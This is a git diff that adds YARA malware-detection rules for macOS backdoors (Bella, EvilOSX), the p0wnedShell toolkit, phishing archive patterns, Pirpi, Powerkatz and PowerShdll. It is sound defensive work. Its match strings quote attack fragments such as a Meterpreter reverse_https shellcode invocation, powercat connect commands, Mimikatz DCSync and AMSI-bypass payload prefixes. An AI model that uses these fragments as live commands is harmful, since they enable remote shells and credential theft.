+        hash = "4288a81779a492b5b02bad6e90b2fa6212fa5f8ee87cc5ec9286ab523fc02446 cec7be2126d388707907b4f9d681121fd1e3ca9f828c029b02340ab1331a5524 e1cf136be50c4486ae8f5e408af80b90229f3027511b4beed69495a042af95be"
+
+        id = "d2a994f9-acff-5de4-8f70-453b5d4d7947"
+    strings:
+        $h1 = "#!/usr/bin/env"
+
+        //prereqs
+        $s0 = "subprocess" fullword ascii
+        $s1 = "import sys" fullword ascii
+        $s2 = "shutil" fullword ascii
+
+        $p0 = "create_bella_helpers" fullword ascii
+        $p1 = "is_there_SUID_shell" fullword ascii
+        $p2 = "BELLA IS NOW RUNNING" fullword ascii
+        $p3 = "SELECT * FROM bella WHERE id" fullword ascii
+
+        $subpart1_a = "inject_payloads" fullword ascii
+        $subpart1_b = "check_if_payloads" fullword ascii
+        $subpart1_c = "updateDB" fullword ascii
+
+        $subpart2_a = "appleIDPhishHelp" fullword ascii
+        $subpart2_b = "appleIDPhish" fullword ascii
+        $subpart2_c = "iTunes" fullword ascii
+    condition:
+        uint32(0) == 0x752f2123
+        and $h1 at 0
+        and filesize < 120KB
+        and @s0[1] < 100
+        and @s1[1] < 100
+        and @s2[1] < 100
+        and
+            1 of ($p*)
+            or all of ($subpart1_*)
+            or all of ($subpart2_*)
+}
diff --git a/yara-Neo23x0/gen_osx_evilosx.yar b/yara-Neo23x0/gen_osx_evilosx.yar
new file mode 100644
index 0000000..c9b200d
--- /dev/null
+++ b/yara-Neo23x0/gen_osx_evilosx.yar
@@ -0,0 +1,34 @@
+rule OSX_backdoor_EvilOSX {
+    meta:
+        description = "EvilOSX MacOS/OSX backdoor"
+        author = "John Lambert @JohnLaTwC"
+        reference = "https://github.com/Marten4n6/EvilOSX, https://twitter.com/JohnLaTwC/status/966139336436498432"
+        date = "2018-02-23"
+        hash = "89e5b8208daf85f549d9b7df8e2a062e47f15a5b08462a4224f73c0a6223972a"
+
+        id = "6940e355-53d2-51e3-afd0-13303a311e9a"
+    strings:
+        $h1 = "#!/usr/bin/env"
+        $s0 = "import base64" fullword ascii
+        $s1 = "b64decode" fullword ascii
+
+        //strings present in decoded python script:
+        $x0 = "EvilOSX" fullword ascii
+        $x1 = "get_launch_agent_directory" fullword ascii
+
+        //Base64 encoded versions of these strings
+        //EvilOSX
+        $enc_x0 = /(AHYAaQBsAE8AUwBYA|dmlsT1NY|RQB2AGkAbABPAFMAWA|RXZpbE9TW|UAdgBpAGwATwBTAFgA|V2aWxPU1)/ ascii
+
+        //get_launch_agent_directory
+        $enc_x1 = /(AGUAdABfAGwAYQB1AG4AYwBoAF8AYQBnAGUAbgB0AF8AZABpAHIAZQBjAHQAbwByAHkA|cAZQB0AF8AbABhAHUAbgBjAGgAXwBhAGcAZQBuAHQAXwBkAGkAcgBlAGMAdABvAHIAeQ|dldF9sYXVuY2hfYWdlbnRfZGlyZWN0b3J5|Z2V0X2xhdW5jaF9hZ2VudF9kaXJlY3Rvcn|ZwBlAHQAXwBsAGEAdQBuAGMAaABfAGEAZwBlAG4AdABfAGQAaQByAGUAYwB0AG8AcgB5A|ZXRfbGF1bmNoX2FnZW50X2RpcmVjdG9ye)/ ascii
+
+    condition:
+        uint32(0) == 0x752f2123
+        and $h1 at 0
+        and filesize < 30KB
+        and all of ($s*)
+        and
+            1 of ($x*)
+            or 1 of ($enc_x*)
+}
diff --git a/yara-Neo23x0/gen_osx_pyagent_persistence.yar b/yara-Neo23x0/gen_osx_pyagent_persistence.yar
new file mode 100644
index 0000000..696abb4
--- /dev/null
+++ b/yara-Neo23x0/gen_osx_pyagent_persistence.yar
@@ -0,0 +1,40 @@
+rule Persistence_Agent_MacOS {
+    meta:
+        description = "Detects a Python agent that establishes persistence on macOS"
+        author = "John Lambert @JohnLaTwC"
+        reference = "https://ghostbin.com/paste/mz5nf"
+        hash = "4288a81779a492b5b02bad6e90b2fa6212fa5f8ee87cc5ec9286ab523fc02446 cec7be2126d388707907b4f9d681121fd1e3ca9f828c029b02340ab1331a5524 e1cf136be50c4486ae8f5e408af80b90229f3027511b4beed69495a042af95be"
+
+        id = "9c69af3c-ee85-58ac-8b78-66760addc117"
+    strings:
+        $h1 = "#!/usr/bin/env python"
+        $s_1= "<plist" ascii fullword
+        $s_2= "ProgramArguments" ascii fullword
+        $s_3= "Library" ascii fullword
+        $sinterval_1= "StartInterval" ascii fullword
+        $sinterval_2= "RunAtLoad" ascii fullword
+
+        //<plist
+        $e_1 = /(AHAAbABpAHMAdA|cGxpc3|PABwAGwAaQBzAHQA|PHBsaXN0|wAcABsAGkAcwB0A|xwbGlzd)/ ascii
+
+        //ProgramArguments
+        $e_2 =/(AAcgBvAGcAcgBhAG0AQQByAGcAdQBtAGUAbgB0AHMA|AHIAbwBnAHIAYQBtAEEAcgBnAHUAbQBlAG4AdABzA|Byb2dyYW1Bcmd1bWVudH|cm9ncmFtQXJndW1lbnRz|UAByAG8AZwByAGEAbQBBAHIAZwB1AG0AZQBuAHQAcw|UHJvZ3JhbUFyZ3VtZW50c)/ ascii
+        //Library
+        $e_4 = /(AGkAYgByAGEAcgB5A|aWJyYXJ5|TABpAGIAcgBhAHIAeQ|TGlicmFye|wAaQBiAHIAYQByAHkA|xpYnJhcn)/ ascii
+
+        //StartInterval
+        $einterval_a = /(AHQAYQByAHQASQBuAHQAZQByAHYAYQBsA|dGFydEludGVydmFs|MAdABhAHIAdABJAG4AdABlAHIAdgBhAGwA|N0YXJ0SW50ZXJ2YW|U3RhcnRJbnRlcnZhb|UwB0AGEAcgB0AEkAbgB0AGUAcgB2AGEAbA)/ ascii
+        $einterval_b = /(AHUAbgBBAHQATABvAGEAZA|dW5BdExvYW|IAdQBuAEEAdABMAG8AYQBkA|J1bkF0TG9hZ|UgB1AG4AQQB0AEwAbwBhAGQA|UnVuQXRMb2Fk)/ ascii
+
+    condition:
+        uint32(0) == 0x752f2123
+        and $h1 at 0
+        and filesize < 120KB
+        and
+        (
+            (all of ($s_*) and 1 of ($sinterval*))
+            or
+            (all of ($e_*) and 1 of ($einterval*))
+        )
+
+}
diff --git a/yara-Neo23x0/gen_p0wnshell.yar b/yara-Neo23x0/gen_p0wnshell.yar
new file mode 100644
index 0000000..cfe5a0e
--- /dev/null
+++ b/yara-Neo23x0/gen_p0wnshell.yar
@@ -0,0 +1,196 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-01-14
+   Identifier: p0wnedShell
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule p0wnedPowerCat {
+   meta:
+      description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedPowerCat.cs"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/Cn33liz/p0wnedShell"
+      date = "2017-01-14"
+      hash1 = "6a3ba991d3b5d127c4325bc194b3241dde5b3a5853b78b4df1bce7cbe87c0fdf"
+      id = "059a8e58-7b7e-582e-ba4a-80e4dffe9b5e"
+   strings:
+      $x1 = "Now if we point Firefox to http://127.0.0.1" fullword ascii
+      $x2 = "powercat -l -v -p" fullword ascii
+      $x3 = "P0wnedListener" fullword ascii
+      $x4 = "EncodedPayload.bat" fullword ascii
+      $x5 = "powercat -c " fullword ascii
+      $x6 = "Program.P0wnedPath()" ascii
+      $x7 = "Invoke-PowerShellTcpOneLine" fullword ascii
+   condition:
+      ( uint16(0) == 0x7375 and filesize < 150KB and 1 of them ) or ( 2 of them )
+}
+
+rule Hacktool_Strings_p0wnedShell : FILE {
+   meta:
+      description = "Detects strings found in Runspace Post Exploitation Toolkit"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth"
+      reference = "https://github.com/Cn33liz/p0wnedShell"
+      date = "2017-01-14"
+      modified = "2023-02-10"
+      hash1 = "e1f35310192416cd79e60dba0521fc6eb107f3e65741c344832c46e9b4085e60"
+      nodeepdive = 1
+      id = "0846039d-1e00-5224-9560-55ab18034d54"
+   strings:
+      $x1 = "Invoke-TokenManipulation" fullword ascii
+      $x2 = "windows/meterpreter" fullword ascii
+      $x3 = "lsadump::dcsync" fullword ascii
+      $x4 = "p0wnedShellx86" fullword ascii
+      $x5 = "p0wnedShellx64" fullword ascii
+      $x6 = "Invoke_PsExec()" fullword ascii
+      $x7 = "Invoke-Mimikatz" fullword ascii
+      $x8 = "Invoke_Shellcode()" fullword ascii
+      $x9 = "Invoke-ReflectivePEInjection" ascii
+
+      $fp1 = "Sentinel Labs, Inc." wide
+      $fp2 = "Copyright Elasticsearch B.V." ascii wide
+      $fp3 = "Attack Information: Invoke-Mimikatz" ascii /* Check Point help files */
+      $fp4 = "a30226 || INDICATOR-SHELLCODE Metasploit windows/meterpreter stage transfer attempt" /* snort message ID */
+      $fp5 = "use strict"
+   condition:
+      filesize < 20MB
+      and 1 of ($x*)
+      and not 1 of ($fp*)
+}
+
+rule p0wnedPotato {
+   meta:
+      description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedPotato.cs"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/Cn33liz/p0wnedShell"
+      date = "2017-01-14"
+      hash1 = "aff2b694a01b48ef96c82daf387b25845abbe01073b76316f1aab3142fdb235b"
+      id = "2c2378e3-b948-5325-9afd-76424a7130b1"
+   strings:
+      $x1 = "Invoke-Tater" fullword ascii
+      $x2 = "P0wnedListener.Execute(WPAD_Proxy);" fullword ascii
+      $x3 = " -SpooferIP " ascii
+      $x4 = "TaterCommand()" ascii
+      $x5 = "FileName = \"cmd.exe\"," fullword ascii
+   condition:
+      1 of them
+}
+
+rule p0wnedExploits {
+   meta:
+      description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedExploits.cs"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/Cn33liz/p0wnedShell"
+      date = "2017-01-14"
+      hash1 = "54548e7848e742566f5596d8f02eca1fd2cbfeae88648b01efb7bab014b9301b"
+      id = "9f754f5f-85e8-5b6f-bde2-566da4d39586"
+   strings:
+      $x1 = "Pshell.RunPSCommand(Whoami);" fullword ascii
+      $x2 = "If succeeded this exploit should popup a System CMD Shell" fullword ascii
+   condition:
+      all of them
+}
+
+rule p0wnedShellx64 {
+   meta:
+      description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedShellx64.exe"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/Cn33liz/p0wnedShell"
+      date = "2017-01-14"
+      modified = "2021-09-15"
+      hash1 = "d8b4f5440627cf70fa0e0e19e0359b59e671885f8c1855517211ba331f48c449"
+      id = "c9791804-4f08-5b7e-8d9d-37e2dfccec47"
+   strings:
+      $x1 = "Oq02AB+LCAAAAAAABADs/QkW3LiOLQBuRUsQR1H731gHMQOkFGFnvvrdp/O4sp6tkDiAIIjhAryu4z6PVOtxHuXz3/xT6X9za/Df/Hsa/JT/9Pjgb/+kPPhv9Sjp01Wf" wide
+      $x2 = "Invoke-TokenManipulation" wide
+      $x3 = "-CreateProcess \"cmd.exe\" -Username \"nt authority\\system\"" fullword wide
+      $x4 = "CommandShell with Local Administrator privileges :)" fullword wide
+      $x5 = "Invoke-shellcode -Payload windows/meterpreter/reverse_https -Lhost " fullword wide
+
+      $fp1 = "AVSignature" ascii wide 
+   condition:
+      1 of ($x*) and not 1 of them
+}
+
+rule p0wnedListenerConsole {
+   meta:
+      description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedListenerConsole.cs"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/Cn33liz/p0wnedShell"
+      date = "2017-01-14"
+      hash1 = "d2d84e65fad966a8556696fdaab5dc8110fc058c9e9caa7ea78aa00921ae3169"
+      id = "77d13c34-3e15-5bc1-a100-f04be38cfb44"
+   strings:
+      $x1 = "Invoke_ReflectivePEInjection" fullword wide
+      $x5 = "p0wnedShell> " fullword wide
+      $x6 = "Resources.Get_PassHashes" fullword wide
+      $s7 = "Invoke_CredentialsPhish" fullword wide
+      $s8 = "Invoke_Shellcode" fullword wide
+      $s9 = "Resources.Invoke_TokenManipulation" fullword wide
+      $s10 = "Resources.Port_Scan" fullword wide
+      $s20 = "Invoke_PowerUp" fullword wide
+   condition:
+      1 of them
+}
+
+rule p0wnedBinaries {
+   meta:
+      description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedBinaries.cs"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/Cn33liz/p0wnedShell"
+      date = "2017-01-14"
+      hash1 = "fd7014625b58d00c6e54ad0e587c6dba5d50f8ca4b0f162d5af3357c2183c7a7"
+      id = "0c62dd3a-195c-5890-b262-2eb00c58f8c1"
+   strings:
+      $x1 = "Oq02AB+LCAAAAAAABADs/QkW3LiOLQBuRUsQR1H731gHMQOkFGFnvvrdp/O4sp6tkDiAIIjhAryu4z6PVOtxHuXz3/xT6X9za/Df/Hsa/JT/9" ascii
+      $x2 = "wpoWAB+LCAAAAAAABADs/QeyK7uOBYhORUNIenL+E2vBA0ympH3erY4f8Tte3TpbUiY9YRbcGK91vVKtr+tV3v/B/yr/m1vD/+DvNOVb+V/f" ascii
+      $x3 = "mo0MAB+LCAAAAAAABADsXQl24zqu3YqXII6i9r+xJ4AACU4SZcuJnVenf/9OxbHEAcRwcQGu62NbHsrax/Iw+3/hP5b+VzuH/4WfVeDf8n98" ascii
+      $x4 = "LE4CAB+LCAAAAAAABADsfQmW2zqu6Fa8BM7D/jf2hRmkKNuVm/Tt9zunkipb4giCIGb2/prhFUt5hVe+/sNP4b+pVvwPn+OQp/LT9ge/+" ascii
+      $x5 = "XpMCAB+LCAAAAAAABADsfQeWIzmO6FV0hKAn73+xL3iAwVAqq2t35r/tl53VyhCDFoQ3Y7zW9Uq1vq5Xef/CT+X/59bwFz6nKU/lp+8P/" ascii
+      $x6 = "STwAAB+LCAAAAAAABADtWwmy6yoO3YqXgJjZ/8ZaRwNgx/HNfX/o7qqUkxgzCM0SmLR2jHBQzkc4En9xZbvHUuSLMnWv9ateK/70ilStR" ascii
+      $x7 = "namespace p0wnedShell" fullword ascii
+   condition:
+      1 of them
+}
+
+rule p0wnedAmsiBypass {
+   meta:
+      description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedAmsiBypass.cs"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/Cn33liz/p0wnedShell"
+      date = "2017-01-14"
+      hash1 = "345e8e6f38b2914f4533c4c16421d372d61564a4275537e674a2ac3360b19284"
+      id = "168af265-d3e9-59a2-b754-20d6c9a298b1"
+   strings:
+      $x1 = "Program.P0wnedPath()" fullword ascii
+      $x2 = "namespace p0wnedShell" fullword ascii
+      $x3 = "H4sIAAAAAAAEAO1YfXRUx3WflXalFazQgiVb5nMVryzxIbGrt/rcFRZIa1CQYEFCQnxotUhP2pX3Q337HpYotCKrPdbmoQQnkOY0+BQCNKRpe" ascii
+   condition:
+      1 of them
+}
+
+rule p0wnedShell_outputs {
+   meta:
+      description = "p0wnedShell Runspace Post Exploitation Toolkit - from files p0wnedShell.cs, p0wnedShell.cs"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/Cn33liz/p0wnedShell"
+      date = "2017-01-14"
+      super_rule = 1
+      hash1 = "e1f35310192416cd79e60dba0521fc6eb107f3e65741c344832c46e9b4085e60"
+      id = "c19fc14b-0c42-5dd1-bff2-ba75f4168d9c"
+   strings:
+      $s1 = "[+] For this attack to succeed, you need to have Admin privileges." fullword ascii
+      $s2 = "[+] This is not a valid hostname, please try again" fullword ascii
+      $s3 = "[+] First return the name of our current domain." fullword ascii
+   condition:
+      1 of them
+}
diff --git a/yara-Neo23x0/gen_phish_attachments.yar b/yara-Neo23x0/gen_phish_attachments.yar
new file mode 100644
index 0000000..a64270d
--- /dev/null
+++ b/yara-Neo23x0/gen_phish_attachments.yar
@@ -0,0 +1,141 @@
+
+rule SUSP_ZIP_LNK_PhishAttachment_Pattern_Jun22_1 {
+   meta:
+      description = "Detects suspicious tiny ZIP files with phishing attachment characteristics"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2022-06-23"
+      score = 65
+      hash1 = "4edb41f4645924d8a73e7ac3e3f39f4db73e38f356bc994ad7d03728cd799a48"
+      hash2 = "c4fec375b44efad2d45c49f30133efbf6921ce82dbb2d1a980f69ea6383b0ab4"
+      hash3 = "9c70eeac97374213355ea8fa019a0e99e0e57c8efc43daa3509f9f98fa71c8e4"
+      hash4 = "ddc20266e38a974a28af321ab82eedaaf51168fbcc63ac77883d8be5200dcaf9"
+      hash5 = "b59788ae984d9e70b4f7f5a035b10e6537063f15a010652edd170fc6a7e1ea2f"
+      id = "3537c4ea-a51d-5100-97d7-71a24da5ff43"
+   strings:
+      $sl1 = ".lnk" 
+   condition:
+      uint16(0) == 0x4b50 and 
+      filesize < 2KB and 
+      $sl1 in (filesize-256..filesize)
+}
+
+rule SUSP_ZIP_ISO_PhishAttachment_Pattern_Jun22_1 {
+   meta:
+      description = "Detects suspicious small base64 encoded ZIP files (MIME email attachments) with .iso files as content as often used in phishing attacks"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2022-06-23"
+      score = 65
+      id = "638541a6-d2d4-513e-978c-9d1b9f5e3b71"
+   strings:
+      $pkzip_base64_1 = { 0A 55 45 73 44 42 }
+      $pkzip_base64_2 = { 0A 55 45 73 44 42 }
+      $pkzip_base64_3 = { 0A 55 45 73 48 43 }
+
+      $iso_1 = "Lmlzb1BL"
+      $iso_2 = "5pc29QS"
+      $iso_3 = "uaXNvUE"
+   condition:
+      filesize < 2000KB and 1 of ($pk*) and 1 of ($iso*)
+}
+
+rule SUSP_Archive_Phishing_Attachment_Characteristics_Jun22_1 {
+   meta:
+      description = "Detects characteristics of suspicious file names or double extensions often found in phishing mail attachments"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/0xtoxin/status/1540524891623014400?s=12&t=IQ0OgChk8tAIdTHaPxh0Vg"
+      date = "2022-06-29"
+      score = 65
+      hash1 = "caaa5c5733fca95804fffe70af82ee505a8ca2991e4cc05bc97a022e5f5b331c"
+      hash2 = "a746d8c41609a70ce10bc69d459f9abb42957cc9626f2e83810c1af412cb8729"
+      id = "3cb8c371-f40b-5773-84d1-3bce37da529e"
+   strings:
+      $sa01 = "INVOICE.exePK" ascii
+      $sa02 = "PAYMENT.exePK" ascii
+      $sa03 = "REQUEST.exePK" ascii
+      $sa04 = "ORDER.exePK" ascii
+      $sa05 = "invoice.exePK" ascii
+      $sa06 = "payment.exePK" ascii
+      $sa07 = "_request.exePK" ascii
+      $sa08 = "_order.exePK" ascii
+      $sa09 = "-request.exePK" ascii
+      $sa10 = "-order.exePK" ascii
+      $sa11 = " request.exePK" ascii
+      $sa12 = " order.exePK" ascii
+      $sa14 = ".doc.exePK" ascii
+      $sa15 = ".docx.exePK" ascii
+      $sa16 = ".xls.exePK" ascii
+      $sa17 = ".xlsx.exePK" ascii
+      $sa18 = ".pdf.exePK" ascii
+      $sa19 = ".ppt.exePK" ascii
+      $sa20 = ".pptx.exePK" ascii
+      $sa21 = ".rtf.exePK" ascii
+      $sa22 = ".txt.exePK" ascii
+
+      $sb01 = "SU5WT0lDRS5leGVQS"
+      $sb02 = "lOVk9JQ0UuZXhlUE"
+      $sb03 = "JTlZPSUNFLmV4ZVBL"
+      $sb04 = "UEFZTUVOVC5leGVQS"
+      $sb05 = "BBWU1FTlQuZXhlUE"
+      $sb06 = "QQVlNRU5ULmV4ZVBL"
+      $sb07 = "UkVRVUVTVC5leGVQS"
+      $sb08 = "JFUVVFU1QuZXhlUE"
+      $sb09 = "SRVFVRVNULmV4ZVBL"
+      $sb10 = "T1JERVIuZXhlUE"
+      $sb11 = "9SREVSLmV4ZVBL"
+      $sb12 = "PUkRFUi5leGVQS"
+      $sb13 = "aW52b2ljZS5leGVQS"
+      $sb14 = "ludm9pY2UuZXhlUE"
+      $sb15 = "pbnZvaWNlLmV4ZVBL"
+      $sb16 = "cGF5bWVudC5leGVQS"
+      $sb17 = "BheW1lbnQuZXhlUE"
+      $sb18 = "wYXltZW50LmV4ZVBL"
+      $sb19 = "X3JlcXVlc3QuZXhlUE"
+      $sb20 = "9yZXF1ZXN0LmV4ZVBL"
+      $sb21 = "fcmVxdWVzdC5leGVQS"
+      $sb22 = "X29yZGVyLmV4ZVBL"
+      $sb23 = "9vcmRlci5leGVQS"
+      $sb24 = "fb3JkZXIuZXhlUE"
+      $sb25 = "LXJlcXVlc3QuZXhlUE"
+      $sb26 = "1yZXF1ZXN0LmV4ZVBL"
+      $sb27 = "tcmVxdWVzdC5leGVQS"
+      $sb28 = "LW9yZGVyLmV4ZVBL"
+      $sb29 = "1vcmRlci5leGVQS"
+      $sb30 = "tb3JkZXIuZXhlUE"
+      $sb31 = "IHJlcXVlc3QuZXhlUE"
+      $sb32 = "ByZXF1ZXN0LmV4ZVBL"
+      $sb33 = "gcmVxdWVzdC5leGVQS"
+      $sb34 = "IG9yZGVyLmV4ZVBL"
+      $sb35 = "BvcmRlci5leGVQS"
+      $sb36 = "gb3JkZXIuZXhlUE"
+      $sb37 = "LmRvYy5leGVQS"
+      $sb38 = "5kb2MuZXhlUE"
+      $sb39 = "uZG9jLmV4ZVBL"
+      $sb40 = "LmRvY3guZXhlUE"
+      $sb41 = "5kb2N4LmV4ZVBL"
+      $sb42 = "uZG9jeC5leGVQS"
+      $sb43 = "Lnhscy5leGVQS"
+      $sb44 = "54bHMuZXhlUE"
+      $sb45 = "ueGxzLmV4ZVBL"
+      $sb46 = "Lnhsc3guZXhlUE"
+      $sb47 = "54bHN4LmV4ZVBL"
+      $sb48 = "ueGxzeC5leGVQS"
+      $sb49 = "LnBkZi5leGVQS"
+      $sb50 = "5wZGYuZXhlUE"
+      $sb51 = "ucGRmLmV4ZVBL"
+      $sb52 = "LnBwdC5leGVQS"
+      $sb53 = "5wcHQuZXhlUE"
+      $sb54 = "ucHB0LmV4ZVBL"
+      $sb55 = "LnBwdHguZXhlUE"
+      $sb56 = "5wcHR4LmV4ZVBL"
+      $sb57 = "ucHB0eC5leGVQS"
+      $sb58 = "LnJ0Zi5leGVQS"
+      $sb59 = "5ydGYuZXhlUE"
+      $sb60 = "ucnRmLmV4ZVBL"
+      $sb61 = "LnR4dC5leGVQS"
+      $sb62 = "50eHQuZXhlUE"
+      $sb63 = "udHh0LmV4ZVBL"
+   condition:
+      uint16(0) == 0x4b50 and 1 of ($sa*) or 1 of ($sb*)
+}
diff --git a/yara-Neo23x0/gen_pirpi.yar b/yara-Neo23x0/gen_pirpi.yar
new file mode 100644
index 0000000..a947456
--- /dev/null
+++ b/yara-Neo23x0/gen_pirpi.yar
@@ -0,0 +1,65 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-09-08
+	Identifier: Pirpi
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Pirpi_1609_A {
+	meta:
+		description = "Detects Pirpi Backdoor - and other malware (generic rule)"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		hash1 = "2a5a0bc350e774bd784fc25090518626b65a3ce10c7401f44a1616ea2ae32f4c"
+		hash2 = "8caa179ec20b6e3938d17132980e0b9fe8ef753a70052f7e857b339427eb0f78"
+		id = "72b996e2-56cf-5a8d-8d8b-97eda7105d26"
+	strings:
+		$x1 = "expand.exe1.gif" fullword ascii
+
+		$c1 = "expand.exe" fullword ascii
+		$c2 = "ctf.exe" fullword ascii
+
+		$s1 = "flvUpdate.exe" fullword wide
+		$s2 = "www.ThinkWorking.com" fullword wide
+		$s3 = "ctfnon.exe" fullword ascii
+		$s4 = "flv%d.exe" fullword ascii
+		$s5 = "HARDWARE\\DESCRIPTION\\System\\BIOS" fullword ascii
+		$s6 = "12811[%d].gif" fullword ascii
+		$s7 = "GetApp03" fullword wide
+		$s8 = "flvUpdate" fullword wide
+		$s9 = "%d-%4.4d%d" fullword ascii
+		$s10 = "http://%s/%5.5d.html" fullword ascii
+		$s11 = "flvbho.exe" fullword wide
+
+		$op1 = { 74 08 c1 cb 0d 03 da 40 eb }
+		$op2 = { 03 f5 56 8b 76 20 03 f5 33 c9 49 }
+		$op3 = { 03 dd 66 8b 0c 4b 8b 5e 1c 03 dd 8b 04 8b 03 c5 }
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and ( $x1 or all of ($c*) or all of ($op*) ) ) or ( 8 of them )
+}
+
+rule Pirpi_1609_B {
+	meta:
+		description = "Detects Pirpi Backdoor"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		hash1 = "498b98c02e19f4b03dc6a3a8b6ff8761ef2c0fedda846ced4b6f1c87b52468e7"
+		id = "caf63b97-efd7-5cd4-8954-b86db4d93cf5"
+	strings:
+		$s1 = "tconn <ip> <port> //set temp connect value, and disconnect." fullword ascii
+		$s2 = "E* ListenCheckSsl SslRecv fd(%d) Error ret:%d %d" fullword ascii
+		$s3 = "%s %s L* ListenCheckSsl fd(%d) SslV(-%d-)" fullword ascii
+		$s4 = "S:%d.%d-%d.%d V(%d.%d) Listen On %d Ok." fullword ascii
+		$s5 = "E* ListenCheckSsl fd(%d) SslAccept Err %d" fullword ascii
+		$s6 = "%s-%s N110 Ssl Connect Ok(%s:%d)." fullword ascii
+		$s7 = "%s-%s N110 Basic Connect Ok(%s:%d)." fullword ascii
+		$s8 = "tconn <ip> <port>" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 1000KB and 2 of them ) or ( 4 of them )
+}
diff --git a/yara-Neo23x0/gen_powerkatz.yar b/yara-Neo23x0/gen_powerkatz.yar
new file mode 100644
index 0000000..15a7753
--- /dev/null
+++ b/yara-Neo23x0/gen_powerkatz.yar
@@ -0,0 +1,32 @@
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-02-05
+	Identifier: Powerkatz
+*/
+
+rule Powerkatz_DLL_Generic {
+	meta:
+		description = "Detects Powerkatz - a Mimikatz version prepared to run in memory via Powershell (overlap with other Mimikatz versions is possible)"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "PowerKatz Analysis"
+		date = "2016-02-05"
+		super_rule = 1
+		score = 80
+		hash1 = "c20f30326fcebad25446cf2e267c341ac34664efad5c50ff07f0738ae2390eae"
+		hash2 = "1e67476281c1ec1cf40e17d7fc28a3ab3250b474ef41cb10a72130990f0be6a0"
+		hash3 = "49e7bac7e0db87bf3f0185e9cf51f2539dbc11384fefced465230c4e5bce0872"
+		id = "7464f8a1-9f45-580b-8a97-a57071092e3c"
+	strings:
+		$s1 = "%3u - Directory '%s' (*.kirbi)" fullword wide
+		$s2 = "%*s  pPublicKey         : " fullword wide
+		$s4 = "<3 eo.oe ~ ANSSI E>" fullword wide
+		$s5 = "\\*.kirbi" wide
+
+		$c1 = "kuhl_m_lsadump_getUsersAndSamKey ; kull_m_registry_RegOpenKeyEx SAM Accounts (0x%08x)" fullword wide
+		$c2 = "kuhl_m_lsadump_getComputerAndSyskey ; kuhl_m_lsadump_getSyskey KO" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 1000KB and 1 of them ) or 2 of them
+}
diff --git a/yara-Neo23x0/gen_powershdll.yar b/yara-Neo23x0/gen_powershdll.yar
new file mode 100644
index 0000000..cb5b90c
--- /dev/null
+++ b/yara-Neo23x0/gen_powershdll.yar
@@ -0,0 +1,25 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-08-03
+   Identifier: PowerShell Hacktools
+   Reference: https://github.com/p3nt4/PowerShdll
+*/
+
+rule PowerShdll {
+   meta:
+      description = "Detects hack tool PowerShdll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/p3nt4/PowerShdll"
+      date = "2017-08-03"
+      hash1 = "4d33bc7cfa79d7eefc5f7a99f1b052afdb84895a411d7c30045498fd4303898a"
+      hash2 = "f999db9cc3a0719c19f35f0e760f4ce3377b31b756d8cd91bb8270acecd7be7d"
+      id = "cc0e01ca-77f0-5665-8b1e-48c8e947d0d3"
+   strings:
+      $x1 = "rundll32 PowerShdll,main -f <path>" fullword wide
+      $x2 = "\\PowerShdll.dll" ascii
+      $x3 = "rundll32 PowerShdll,main <script>" fullword wide
+   condition:
+      1 of them
+}
diff --git a/yara-Neo23x0/gen_powershell_empire.yar b/yara-Neo23x0/gen_powershell_empire.yar
new file mode 100644
index 0000000..26c78e2
--- /dev/null
+++ b/yara-Neo23x0/gen_powershell_empire.yar
@@ -0,0 +1,188 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
